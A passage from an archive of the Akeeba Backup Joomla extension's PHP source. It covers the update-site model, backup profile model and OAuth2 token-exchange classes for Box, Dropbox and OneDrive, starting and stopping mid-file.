		// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		$jDbo     = JFactory::getDbo();
		$dbDriver = method_exists($jDbo, 'getName') ? ($jDbo->getName() ?? $jDbo->name ?? 'mysql') : 'mysql';

		if ($dbDriver !== 'pdomysql')
		{
			return;
		}

		/**
		 * If this Joomla 3 with Site Debug enabled I need to disable database debug. If it's enabled, Joomla sends
		 * `SET query_cache_type = 0`. However, the query_cache_type MySQL server variable has been deprecated in MySQL
		 * 5.7 abd removed in MySQL 8. The PDO driver receives the error from the MySQL database and turns it into an
		 * untrappable Fatal Error, meaning that a try/catch won't be able to catch it. Since the connection code that
		 * triggers the fatal error will be called AT THE LATEST when the request terminates and at the earliest within
		 * the Dispatcher's loading of common JavaScript (which goes through the Joomla API) this causes the Akeeba
		 * Backup component to not load. Because of the weird way PDO error handling works we don't even get a Fatal
		 * Error which would at least clue us in as to what the heck is going on! Instead we have the main Dispatcher's
		 * dispatch() method handle the fatal error exception (LOLWUT?! WHY ONLY THERE?! WHAT THE HELL PHP?!) being
		 * thrown by the PDO driver, converting the result of onBeforeDispatch to false which is interpreted as the user
		 * not having access to the component, which is the error that gets reported.
		 *
		 * Talking about running into edge cases, am I right?!
		 */
		$isJoomla3         = version_compare(JVERSION, '3.999.999', 'le');
		$isSiteDebug       = (bool) JFactory::getApplication()->get('debug', 0);
		$isMySQL8OrGreated = version_compare($jDbo->getVersion() ?? '8.0', '8', 'ge');

		if ($isJoomla3 && $isSiteDebug && $isMySQL8OrGreated)
		{
			if (!method_exists($jDbo, 'setDebug'))
			{
				return;
			}

			$jDbo->setDebug(false);
		}

		@JFactory::getDbo()->disconnect();
	}

	/**
	 * Loads the Javascript files which are common across many views of the component.
	 *
	 * @return  void
	 */
	private function loadCommonJavascript()
	{
		// Do not move: everything depends on UserInterfaceCommon
		$this->container->template->addJS('media://com_akeeba/js/UserInterfaceCommon.min.js', true, false, $this->container->mediaVersion);
	}

	/**
	 * Perform common maintenance tasks
	 *
	 * @return  void
	 */
	private function autoMaintenance()
	{
		/** @var \Akeeba\Backup\Admin\Model\ControlPanel $model */
		$model = $this->container->factory->model('ControlPanel')->tmpInstance();

		// Update the db structure if necessary (once per session at most)
		$lastVersion = $this->container->platform->getSessionVar('magicParamsUpdateVersion', null, 'akeeba');

		if ($lastVersion != AKEEBA_VERSION)
		{
			try
			{
				$model->checkAndFixDatabase();
				$this->container->platform->setSessionVar('magicParamsUpdateVersion', AKEEBA_VERSION, 'akeeba');
			}
			catch (\RuntimeException $e)
			{
				// The update is stuck. We will display a warning in the Control Panel
			}
		}

		// Update magic parameters if necessary
		$model->updateMagicParameters();
	}
}
com_akeeba/Model/index.html000060400000000352152453734450011657 0ustar00<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<html><head><title></title></head><body></body></html>com_akeeba/Model/Updates.php000060400000025073152453734450012007 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Exception;
use FOF40\Container\Container;
use FOF40\Update\Update;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\File;

/**
 * Updates model. Acts as an intermediary between the component and Joomla!,
 *
 * @package Akeeba\Backup\Admin\Model
 */
class Updates extends Update
{
	/**
	 * Obsolete update site locations
	 *
	 * @var  array
	 */
	protected $obsoleteUpdateSiteLocations = [
		'http://cdn.akeebabackup.com/updates/abpro.xml',
		'http://cdn.akeebabackup.com/updates/abcore.xml',
		'http://cdn.akeebabackup.com/updates/fof.xml',
	];

	/**
	 * Public constructor. Initialises the protected members as well.
	 *
	 * @param   array  $config
	 */
	public function __construct($config = [])
	{
		$container = Container::getInstance('com_akeeba');

		$config['update_component'] = 'pkg_akeeba';
		$config['update_sitename']  = 'Akeeba Backup Core';
		$config['update_site']      = 'https://cdn.akeeba.com/updates/pkgakeebacore.xml';
		$config['update_paramskey'] = 'update_dlid';
		$config['update_container'] = $container;

		$isPro = defined('AKEEBA_PRO') ? AKEEBA_PRO : 0;

		if ($isPro)
		{
			$config['update_sitename'] = 'Akeeba Backup Professional';
			$config['update_site']     = 'https://cdn.akeeba.com/updates/pkgakeebapro.xml';
		}

		if (defined('AKEEBA_VERSION') && !in_array(substr(AKEEBA_VERSION, 0, 3), ['dev', 'rev']))
		{
			$config['update_version'] = AKEEBA_VERSION;
		}

		parent::__construct($config);

		$this->container    = $container;
		$this->extension_id = $this->findExtensionId('pkg_akeeba', 'package');

		if (empty($this->extension_id))
		{
			$this->createFakePackageExtension();
			$this->extension_id = $this->findExtensionId('pkg_akeeba', 'package');
		}
	}

	/**
	 * Refreshes the update sites, removing obsolete update sites in the process
	 */
	public function refreshUpdateSite(): void
	{
		// Remove any update sites for the old com_akeeba package
		$this->removeObsoleteComponentUpdateSites();

		// Refresh our update sites
		parent::refreshUpdateSite();
	}

	/**
	 * Removes the obsolete update sites for the component, since now we're dealing with a package.
	 *
	 * Controlled by componentName, packageName and obsoleteUpdateSiteLocations
	 *
	 * Depends on getExtensionId, getUpdateSitesFor
	 *
	 * @return  void
	 */
	private function removeObsoleteComponentUpdateSites()
	{
		// Initialize
		$deleteIDs = [];

		// Get component ID
		$componentID = $this->findExtensionId('com_akeeba', 'component');

		// Get package ID
		$packageID = $this->findExtensionId('pkg_akeeba', 'package');

		// Update sites for old extension ID (all)
		if ($componentID)
		{
			// Old component packages
			$moreIDs = $this->getUpdateSitesFor($componentID, null);

			if (is_array($moreIDs) && count($moreIDs))
			{
				$deleteIDs = array_merge($deleteIDs, $moreIDs);
			}

			// Obsolete update sites
			$moreIDs = $this->getUpdateSitesFor(null, $componentID, $this->obsoleteUpdateSiteLocations);

			if (is_array($moreIDs) && count($moreIDs))
			{
				$deleteIDs = array_merge($deleteIDs, $moreIDs);
			}
		}

		// Update sites for any but current extension ID, location matching any of the obsolete update sites
		if ($packageID)
		{
			// Update sites for all of the current extension ID update sites
			$moreIDs = $this->getUpdateSitesFor($packageID, null);

			if (is_array($moreIDs) && count($moreIDs))
			{
				$deleteIDs = array_merge($deleteIDs, $moreIDs);
			}

			$deleteIDs = array_unique($deleteIDs);

			// Remove the last update site
			if (count($deleteIDs))
			{
				$lastID = array_pop($moreIDs);
				$pos    = array_search($lastID, $deleteIDs);
				unset($deleteIDs[$pos]);
			}
		}

		$db        = $this->container->db;
		$deleteIDs = array_unique($deleteIDs);

		if (empty($deleteIDs) || !count($deleteIDs))
		{
			return;
		}

		$deleteIDs = array_map([$db, 'q'], $deleteIDs);

		$query = $db->getQuery(true)
			->delete($db->qn('#__update_sites'))
			->where($db->qn('update_site_id') . ' IN(' . implode(',', $deleteIDs) . ')');

		try
		{
			$db->setQuery($query)->execute();
		}
		catch (Exception $e)
		{
			// Do nothing.
		}

		$query = $db->getQuery(true)
			->delete($db->qn('#__update_sites_extensions'))
			->where($db->qn('update_site_id') . ' IN(' . implode(',', $deleteIDs) . ')');

		try
		{
			$db->setQuery($query)->execute();
		}
		catch (Exception $e)
		{
			// Do nothing.
		}
	}

	/**
	 * Gets the ID of an extension
	 *
	 * @param   string  $element  Extension element, e.g. com_foo, mod_foo, lib_foo, pkg_foo or foo (CAUTION: plugin,
	 *                            file!)
	 * @param   string  $type     Extension type: component, module, library, package, plugin or file
	 * @param   null    $folder   Plugins: plugin folder. Modules: admin/site
	 *
	 * @return  int  Extension ID or 0 on failure
	 */
	private function findExtensionId($element, $type = 'component', $folder = null)
	{
		$db    = $this->container->db;
		$query = $db->getQuery(true)
			->select($db->qn('extension_id'))
			->from($db->qn('#__extensions'))
			->where($db->qn('element') . ' = ' . $db->q($element))
			->where($db->qn('type') . ' = ' . $db->q($type));

		// Plugin? We should look for a folder
		if ($type == 'plugin')
		{
			$folder = empty($folder) ? 'system' : $folder;

			$query->where($db->qn('folder') . ' = ' . $db->q($folder));
		}

		// Module? Use the folder to determine if it's site or admin module.
		if ($type == 'module')
		{
			$folder = empty($folder) ? 'site' : $folder;

			$query->where($db->qn('client_id') . ' = ' . $db->q(($folder == 'site') ? 0 : 1));
		}

		try
		{
			$id = $db->setQuery($query, 0, 1)->loadResult();
		}
		catch (Exception $e)
		{
			$id = 0;
		}

		return empty($id) ? 0 : (int) $id;
	}

	/**
	 * Returns the update site IDs matching the criteria below. All criteria are optional but at least one must be
	 * defined for the method call to make any sense.
	 *
	 * @param   int|null  $includeEID  The update site must belong to this extension ID
	 * @param   int|null  $excludeEID  The update site must NOT belong to this extension ID
	 * @param   array     $locations   The update site must match one of these locations
	 *
	 * @return  array  The IDs of the update sites
	 */
	private function getUpdateSitesFor($includeEID = null, $excludeEID = null, $locations = [])
	{
		$db    = $this->container->db;
		$query = $db->getQuery(true)
			->select($db->qn('s.update_site_id'))
			->from($db->qn('#__update_sites', 's'));

		if (!empty($locations))
		{
			$quotedLocations = array_map([$db, 'q'], $locations);
			$query->where($db->qn('location') . 'IN(' . implode(',', $quotedLocations) . ')');
		}

		if (!empty($includeEID) || !empty($excludeEID))
		{
			$query->innerJoin($db->qn('#__update_sites_extensions', 'e') . 'ON(' . $db->qn('e.update_site_id') .
				' = ' . $db->qn('s.update_site_id') . ')'
			);
		}

		if (!empty($includeEID))
		{
			$query->where($db->qn('e.extension_id') . ' = ' . $db->q($includeEID));
		}
		elseif (!empty($excludeEID))
		{
			$query->where($db->qn('e.extension_id') . ' != ' . $db->q($excludeEID));
		}

		try
		{
			$ret = $db->setQuery($query)->loadColumn();
		}
		catch (Exception $e)
		{
			$ret = null;
		}

		return empty($ret) ? [] : $ret;
	}

	private function createFakePackageExtension()
	{
		$manifestCacheJson = json_encode([
			'name'         => 'Akeeba Backup package',
			'type'         => 'package',
			'creationDate' => gmdate('Y-m-d'),
			'author'       => 'Nicholas K. Dionysopoulos',
			'copyright'    => sprintf('Copyright (c)2006-%d Akeeba Ltd / Nicholas K. Dionysopoulos', gmdate('Y')),
			'authorEmail'  => '',
			'authorUrl'    => 'https://www.akeeba.com',
			'version'      => $this->version,
			'description'  => sprintf('Akeeba Backup installation package v.%s', $this->version),
			'group'        => '',
			'filename'     => 'pkg_akeeba',
		]);

		$extensionRecord = [
			'name'             => 'Akeeba Backup package',
			'type'             => 'package',
			'element'          => 'pkg_akeeba',
			'folder'           => '',
			'client_id'        => 0,
			'enabled'          => 1,
			'access'           => 1,
			'protected'        => 0,
			'manifest_cache'   => $manifestCacheJson,
			'params'           => '{}',
			'checked_out'      => 0,
			'checked_out_time' => null,
			'state'            => 0,
		];

		$class = '\\Joomla\\CMS\\Table\\Extension';
		$class = class_exists($class, true) ? $class : '\\JTableExtension';
		$extension = new $class($this->container->db);
		$extension->save($extensionRecord);

		$this->createFakePackageManifest();
	}

	private function createFakePackageManifest()
	{
		$path = JPATH_ADMINISTRATOR . '/manifests/packages/pkg_akeeba.xml';

		if (file_exists($path))
		{
			return;
		}

		$isPro   = defined('AKEEBA_PRO') ? AKEEBA_PRO : 0;
		$proCore = $isPro ? 'pro' : 'core';
		$dlid    = $isPro ? '<dlid prefix="dlid=" suffix=""/>' : '';
		$year    = gmdate('Y');
		$date    = gmdate('Y-m-d');

		$proPlugins = <<< END
        <file type="file" id="file_akeeba">file_akeeba-pro.zip</file>
		<file type="plugin" group="installer" id="akeebabackup">plg_installer_akeebabackup.zip</file>
END;
		$proPlugins = $isPro ? $proPlugins : '';

		$content = <<< XML
<?xml version="1.0" encoding="utf-8"?>
<extension version="3.9.0" type="package" method="upgrade">
	$dlid
    <name>Akeeba Backup package</name>
    <author>Nicholas K. Dionysopoulos</author>
    <creationDate>$date</creationDate>
    <packagename>akeeba</packagename>
    <version>{$this->version}</version>
    <url>https://www.akeeba.com</url>
    <packager>Akeeba Ltd</packager>
    <packagerurl>https://www.akeeba.com</packagerurl>
    <copyright>Copyright (c)2006-$year Akeeba Ltd / Nicholas K. Dionysopoulos</copyright>
    <license>GNU GPL v3 or later</license>
    <description>Akeeba Backup installation package {$this->version}</description>

    <files>
        <file type="component" id="com_akeebabackup">com_akeebabackup-{$proCore}.zip</file>
        <file type="plugin" group="console" id="akeebabackup">plg_console_akeebabackup.zip</file>
        <file type="plugin" group="quickicon" id="akeebabackup">plg_quickicon_akeebabackup.zip</file>
        <file type="plugin" group="system" id="backuponupdate">plg_system_backuponupdate.zip</file>
        <file type="plugin" group="actionlog" id="akeebabackup">plg_actionlog_akeebabackup.zip</file>
        $proPlugins
    </files>

    <scriptfile>script.akeeba.php</scriptfile>
</extension>
XML;

		if (!@file_put_contents($content, $path))
		{
			File::write($path, $content);
		}
	}
}
com_akeeba/Model/Profiles.php000060400000010412152453734450012154 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\Container\Container;
use FOF40\Model\DataModel;
use Joomla\CMS\Language\Text;
use RuntimeException;

/**
 * Backup profile model
 *
 * @property  int    id             Profile ID
 * @property  string description    Description
 * @property  string configuration  Engine configuration data
 * @property  string filters        Engine filters
 * @property  int    quickicon      Should I include this profile in the One Click Backup profiles (1) or not (0)?
 */
class Profiles extends DataModel
{
	public function __construct(Container $container, array $config)
	{
		$defaultConfig = [
			'tableName'   => '#__ak_profiles',
			'idFieldName' => 'id',
		];

		if (!is_array($config) || empty($config))
		{
			$config = [];
		}

		$config = array_merge($defaultConfig, $config);

		parent::__construct($container, $config);

		$this->addBehaviour('filters');
		$this->blacklistFilters([
			'configuration',
			'filters',
		]);
	}

	/**
	 * Tries to copy the currently loaded to a new record
	 *
	 * @return  self  The new record
	 */
	public function copy($data = null)
	{
		$id = $this->getId();

		// Check for invalid id's (not numeric, or <= 0)
		if ((!is_numeric($id)) || ($id <= 0))
		{
			throw new DataModel\Exception\RecordNotLoaded('PROFILE_INVALID_ID');
		}

		if (!is_array($data))
		{
			$data = [];
		}

		$data['id'] = 0;

		return $this->getClone()->save($data);
	}

	/**
	 * Returns an associative array with profile IDs as keys and the post-processing engine as values
	 *
	 * @return  array
	 */
	public function getPostProcessingEnginePerProfile()
	{
		// Cache the current profile's ID
		$currentProfileID = $this->container->platform->getSessionVar('profile', null, 'akeeba');

		// Get the IDs of all profiles
		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->select($db->qn('id'))
			->from($db->qn('#__ak_profiles'));
		$db->setQuery($query);
		$profiles = $db->loadColumn();

		// Initialise return;
		$engines = [];

		// Loop all profiles
		foreach ($profiles as $profileId)
		{
			Platform::getInstance()->load_configuration($profileId);
			$profileConfiguration = Factory::getConfiguration();
			$engines[$profileId]  = $profileConfiguration->get('akeeba.advanced.postproc_engine');
		}

		// Reload the current profile
		Platform::getInstance()->load_configuration($currentProfileID);

		return $engines;
	}

	/**
	 * Runs before deleting a record
	 *
	 * @param   int  $id  The ID of the record being deleted
	 */
	public function onBeforeDelete(&$id)
	{
		// You cannot delete the default record
		if ($id <= 1)
		{
			throw new RuntimeException(Text::_('COM_AKEEBA_PROFILE_ERR_CANNOTDELETEDEFAULT'), 500);
		}

		// If you're deleting the current backup profile we have to switch to the default profile (#1)
		$activeProfile = Platform::getInstance()->get_active_profile();

		if ($id == $activeProfile)
		{
			throw new RuntimeException(Text::sprintf('COM_AKEEBA_PROFILE_ERR_CANNOTDELETEACTIVE', $id), 500);
		}
	}

	/**
	 * Save a profile from imported configuration data. The $data array must contain the keys description (profile
	 * description), configuration (engine configuration INI data) and filters (inclusion and inclusion filters JSON
	 * configuration data).
	 *
	 * @param   array  $data  See above
	 *
	 * @returns  void
	 *
	 * @throws   RuntimeException  When an iport error occurs
	 */
	public function import($data)
	{
		// Check for data validity
		$isValid =
			is_array($data) &&
			!empty($data) &&
			array_key_exists('description', $data) &&
			array_key_exists('configuration', $data) &&
			array_key_exists('filters', $data);

		if (!$isValid)
		{
			throw new RuntimeException(Text::_('COM_AKEEBA_PROFILES_ERR_IMPORT_INVALID'));
		}

		// Unset the id, if it exists
		if (array_key_exists('id', $data))
		{
			unset($data['id']);
		}

		$data['akeeba.flag.confwiz'] = 1;

		// Try saving the profile
		$result = $this->save($data);

		if (!$result)
		{
			throw new RuntimeException(Text::_('COM_AKEEBA_PROFILES_ERR_IMPORT_FAILED'));
		}
	}
}
com_akeeba/Model/Oauth2/BoxEngine.php000060400000001460152453734450013414 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Site\Model\Oauth2;

defined('_JEXEC') || die;

class BoxEngine extends AbstractProvider implements ProviderInterface
{
	/** @var string  */
	protected $tokenEndpoint = 'https://api.box.com/oauth2/token';

	/** @var string  */
	protected $engineNameForHumans = 'Box.com';

	public function getAuthenticationUrl(): string
	{
		$this->checkConfiguration();

		[$id, $secret] = $this->getIdAndSecret();

		$params = [
			'response_type' => 'code',
			'client_id'     => $id,
			'redirect_uri'  => $this->getUri('step2'),
		];

		return 'https://account.box.com/api/oauth2/authorize?' . http_build_query($params);
	}
}com_akeeba/Model/Oauth2/DropboxEngine.php000060400000003027152453734450014302 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Site\Model\Oauth2;

defined('_JEXEC') || die;

use FOF40\Input\Input;

class DropboxEngine extends AbstractProvider implements ProviderInterface
{
	/** @var string  */
	protected $tokenEndpoint = 'https://api.dropboxapi.com/1/oauth2/token';

	/** @var string  */
	protected $engineNameForHumans = 'Dropbox';

	public function getAuthenticationUrl(): string
	{
		$this->checkConfiguration();

		[$id, $secret] = $this->getIdAndSecret();

		$params = [
			'client_id'         => $id,
			'response_type'     => 'code',
			'redirect_uri'      => $this->getUri('step2'),
			'scope'             => implode(
				' ', [
				'account_info.read',
				'files.metadata.read',
				'files.content.write',
				'files.content.read',
				'team_data.member',
			]
			),
			'token_access_type' => 'offline',
		];

		return 'https://www.dropbox.com/1/oauth2/authorize?' . http_build_query($params);
	}

	protected function getResponseCustomFields(Input $input): array
	{
		$fields = parent::getResponseCustomFields($input);

		unset($fields['client_id']);
		unset($fields['client_secret']);

		$fields['redirect_uri'] = $this->getUri('step2');

		return $fields;
	}

	protected function getRefreshCustomFields(Input $input): array
	{
		$fields = parent::getRefreshCustomFields($input);

		unset($fields['client_id']);
		unset($fields['client_secret']);

		return $fields;
	}
}com_akeeba/Model/Oauth2/ProviderInterface.php000060400000002137152453734450015153 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Site\Model\Oauth2;

defined('_JEXEC') || die;

use FOF40\Input\Input;

/**
 * OAuth2 Helper provider interface
 *
 * @since    8.2.2
 */
interface ProviderInterface
{
	/**
	 * Get the URL to redirect to for the first authentication step (consent screen).
	 *
	 * @return  string
	 * @since   8.4.0
	 */
	public function getAuthenticationUrl(): string;

	/**
	 * Handles the second step of the authentication (exchange code for tokens)
	 *
	 * @param   Input  $input  The raw application input object
	 *
	 * @return  TokenResponse
	 * @since   8.4.0
	 */
	public function handleResponse(Input $input): TokenResponse;

	/**
	 * Handles exchanging a refresh token for an access token
	 *
	 * @param   Input  $input  The raw application input object
	 *
	 * @return  TokenResponse
	 * @since   8.4.0
	 */
	public function handleRefresh(Input $input): TokenResponse;

	public function getEngineNameForHumans(): string;
}com_akeeba/Model/Oauth2/OAuth2UriException.php000060400000001330152453734450015173 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Site\Model\Oauth2;

defined('_JEXEC') || die;

use RuntimeException;
use Throwable;

/**
 * OAuth2 Helper error redirecting to a URL
 *
 * @since   8.4.0
 */
class OAuth2UriException extends RuntimeException
{
	/** @var string  */
	private $url;

	public function __construct(string $url, Throwable $previous = null)
	{
		$message = sprintf('For more information please visit %s', $url);
		$this->url = $url;

		parent::__construct($message, 500, $previous);
	}

	public function getUrl(): string
	{
		return $this->url;
	}
}com_akeeba/Model/Oauth2/OnedrivebusinessEngine.php000060400000002756152453734450016224 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Site\Model\Oauth2;

defined('_JEXEC') || die;

use FOF40\Input\Input;

class OnedrivebusinessEngine extends AbstractProvider implements ProviderInterface
{
	/** @var string  */
	protected $tokenEndpoint = 'https://login.microsoftonline.com/common/oauth2/v2.0/token';

	/** @var string  */
	protected $engineNameForHumans = 'OneDrive';

	public function getAuthenticationUrl(): string
	{
		$this->checkConfiguration();

		[$id, $secret] = $this->getIdAndSecret();

		$params = [
			'client_id'     => $id,
			'response_type' => 'code',
			'redirect_uri'  => $this->getUri('step2'),
			'response_mode' => 'query',
			'scope'         => implode(
				' ', [
					'files.readwrite.all',
					'user.read',
					'offline_access',
				]
			),
		];

		return 'https://login.microsoftonline.com/common/oauth2/v2.0/authorize?' . http_build_query($params);
	}

	protected function getResponseCustomFields(Input $input): array
	{
		return array_merge(
			parent::getResponseCustomFields($input),
			[
				'scope'        => 'files.readwrite.all user.read offline_access',
				'redirect_uri' => $this->getUri('step2'),
			]
		);
	}

	protected function getRefreshCustomFields(Input $input): array
	{
		return array_merge(
			parent::getRefreshCustomFields($input),
			[
				'redirect_uri' => $this->getUri('step2'),
			]
		);
	}
}com_akeeba/Model/Oauth2/AbstractProvider.php000060400000015165152453734450015023 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Site\Model\Oauth2;

defined('_JEXEC') || die;

use FOF40\Input\Input;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

abstract class AbstractProvider implements ProviderInterface
{
	/** @var string */
	protected $tokenEndpoint = '';

	/** @var string */
	protected $engineNameForHumans = '';

	public function doRedirect(string $uri)
	{
		Factory::getApplication()->redirect($uri);
	}

	public function getEngineNameForHumans(): string
	{
		return $this->engineNameForHumans;
	}

	public final function handleResponse(Input $input): TokenResponse
	{
		$this->checkConfiguration();

		$code = $input->getRaw('code');

		if (!$code)
		{
			throw new OAuth2Exception('no_code', 'No code has been provided in the URL.');
		}

		$query = http_build_query($this->getResponseCustomFields($input), '', '&');
		$ch    = curl_init($this->tokenEndpoint);

		$options = [
			CURLOPT_SSL_VERIFYPEER => true,
			CURLOPT_VERBOSE        => true,
			CURLOPT_HEADER         => false,
			CURLINFO_HEADER_OUT    => false,
			CURLOPT_RETURNTRANSFER => true,
			CURLOPT_CAINFO         => AKEEBA_CACERT_PEM,
			CURLOPT_FOLLOWLOCATION => true,
			CURLOPT_POST           => 1,
			CURLOPT_POSTFIELDS     => $query,
			CURLOPT_HTTPHEADER     => [
				'Content-Type: application/x-www-form-urlencoded',
			],
		];

		curl_setopt_array($ch, $options);

		// Get the tokens
		$response = curl_exec($ch);
		$errNo    = curl_errno($ch);
		$error    = curl_error($ch);
		curl_close($ch);

		// Did cURL die?
		if ($errNo)
		{
			throw new OAuth2Exception(
				'curl_error', <<< HTML
An error occurred communicating with $this->engineNameForHumans. Technical information:<br/><br/>
Error Number: $errNo<br/>
Error Description: $error<br/>
HTML
			);
		}

		// Decode the response
		$result = @json_decode($response, true);

		// Did we receive invalid JSON?
		if (!$result)
		{
			throw new OAuth2Exception(
				'invalid_json',
				sprintf("%s failed to response with a valid token. Please try again later.", $this->engineNameForHumans)
			);
		}

		// Do we have an error reported by the remote endpoint?
		if (isset($result['error']))
		{
			$error            = $result['error'];
			$errorUri         = $result['error_uri'] ?? null;
			$errorDescription = $result['error_uri'] ?? null;

			if ($errorUri)
			{
				throw new OAuth2UriException($errorUri);
			}

			throw new OAuth2Exception($error, $errorDescription);
		}

		$ret                 = new TokenResponse();
		$ret['accessToken']  = $result['access_token'] ?? '';
		$ret['refreshToken'] = $result['refresh_token'] ?? '';

		return $ret;
	}

	public final function handleRefresh(Input $input): TokenResponse
	{
		$refreshToken = $input->getRaw('refresh_token', null);
		$this->checkConfiguration();

		if (empty($refreshToken))
		{
			throw new OAuth2Exception(
				'no_refresh_token', 'A refresh token was not provided. Operation aborted.'
			);
		}

		// Prepare the request to get the tokens
		$query = http_build_query($this->getRefreshCustomFields($input), '', '&');
		$ch    = curl_init($this->tokenEndpoint);

		$options = [
			CURLOPT_SSL_VERIFYPEER => true,
			CURLOPT_VERBOSE        => true,
			CURLOPT_HEADER         => false,
			CURLINFO_HEADER_OUT    => false,
			CURLOPT_RETURNTRANSFER => true,
			CURLOPT_CAINFO         => AKEEBA_CACERT_PEM,
			CURLOPT_FOLLOWLOCATION => true,
			CURLOPT_POST           => 1,
			CURLOPT_POSTFIELDS     => $query,
			CURLOPT_HTTPHEADER     => [
				'Content-Type: application/x-www-form-urlencoded',
			],
		];

		curl_setopt_array($ch, $options);

		// Get the tokens
		$response = curl_exec($ch);
		$errNo    = curl_errno($ch);
		$error    = curl_error($ch);
		curl_close($ch);

		// Did cURL die?
		if ($errNo)
		{
			throw new OAuth2Exception(
				'curl_error', sprintf(
					"An error occurred refreshing the token. Error Number: %s -- Error Description: %s", $errNo, $error
				)
			);
		}

		// Decode the response
		$result = @json_decode($response, true);

		// Did we receive invalid JSON?
		if (!$result)
		{
			throw new OAuth2Exception(
				'invalid_json', sprintf(
					"%s failed to respond with a valid token to our token refresh request.", $this->engineNameForHumans
				)
			);
		}

		$ret                 = new TokenResponse();
		$ret['accessToken']  = $result['access_token'] ?? '';
		$ret['refreshToken'] = $result['refresh_token'] ?? '';

		return $ret;
	}

	protected function getResponseCustomFields(Input $input): array
	{
		[$id, $secret] = $this->getIdAndSecret();

		$code = $input->getRaw('code');

		return [
			'code'          => $code,
			'client_id'     => $id,
			'client_secret' => $secret,
			'grant_type'    => 'authorization_code',
		];
	}

	protected function getRefreshCustomFields(Input $input): array
	{
		$refreshToken = $input->getRaw('refresh_token', null);
		[$id, $secret] = $this->getIdAndSecret();

		return [
			'refresh_token' => $refreshToken,
			'client_id'     => $id,
			'client_secret' => $secret,
			'grant_type'    => 'refresh_token',
		];
	}

	protected final function getEngineName(): string
	{
		$parts = explode('\\', rtrim(get_class($this), '\\'));
		$name  = array_pop($parts);

		if (substr($name, -6) === 'Engine')
		{
			$name = substr($name, 0, -6);
		}

		return strtolower($name);
	}

	protected final function checkConfiguration(): void
	{
		$engine = $this->getEngineName();

		// Is the engine enabled?
		$cParams = ComponentHelper::getParams('com_akeeba');

		if ($cParams->get('oauth2_client_' . $engine, 0) == 0)
		{
			throw new OAuth2Exception('no_access', Text::_('JERROR_ALERTNOAUTHOR'));
		}

		$id     = $cParams->get($engine . '_client_id', null);
		$secret = $cParams->get($engine . '_client_secret', null);

		if (empty($id) || empty($secret))
		{
			throw new OAuth2Exception('no_access', Text::_('JERROR_ALERTNOAUTHOR'));
		}
	}

	protected final function getIdAndSecret(): array
	{
		$cParams = ComponentHelper::getParams('com_akeeba');
		$engine  = $this->getEngineName();
		$id      = $cParams->get($engine . '_client_id', null);
		$secret  = $cParams->get($engine . '_client_secret', null);

		return [$id, $secret];
	}

	protected final function getUri(string $task = 'step1')
	{
		$uri = rtrim(Uri::base(), '/');

		if (substr($uri, -14) === '/administrator')
		{
			$uri = substr($uri, 0, -14);
		}
		elseif (substr($uri, -4) === '/administrator')
		{
			$uri = substr($uri, 0, -4);
		}

		return sprintf(
			"%s/index.php?option=com_akeeba&view=oauth2&task=step2&format=raw&engine=%s", $uri,
			$this->getEngineName()
		);
	}
}com_akeeba/Model/Oauth2/TokenResponse.php000060400000002214152453734450014333 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Site\Model\Oauth2;

defined('_JEXEC') || die;

class TokenResponse implements \ArrayAccess
{
	/** @var string|null */
	private $accessToken = null;

	/** @var string|null */
	private $refreshToken = null;

	/** @inheritDoc */
	public function offsetExists($offset)
	{
		return isset($this->{$offset});
	}

	/** @inheritDoc */
	public function offsetGet($offset)
	{
		return $this->{$offset} ?? null;
	}

	/** @inheritDoc */
	public function offsetSet($offset, $value)
	{
		if ($this->offsetExists($offset))
		{
			return;
		}

		$this->{$offset} = $value;
	}

	/** @inheritDoc */
	public function offsetUnset($offset)
	{
		throw new \BadMethodCallException(
			sprintf(
				'You cannot unset an offset in %s',
				__CLASS__
			)
		);
	}

	/**
	 * Casts the data into a plain array
	 *
	 * @return  array
	 * @since   8.4.0
	 */
	public function toArray()
	{
		return [
			'accessToken'  => $this->accessToken,
			'refreshToken' => $this->refreshToken,
		];
	}
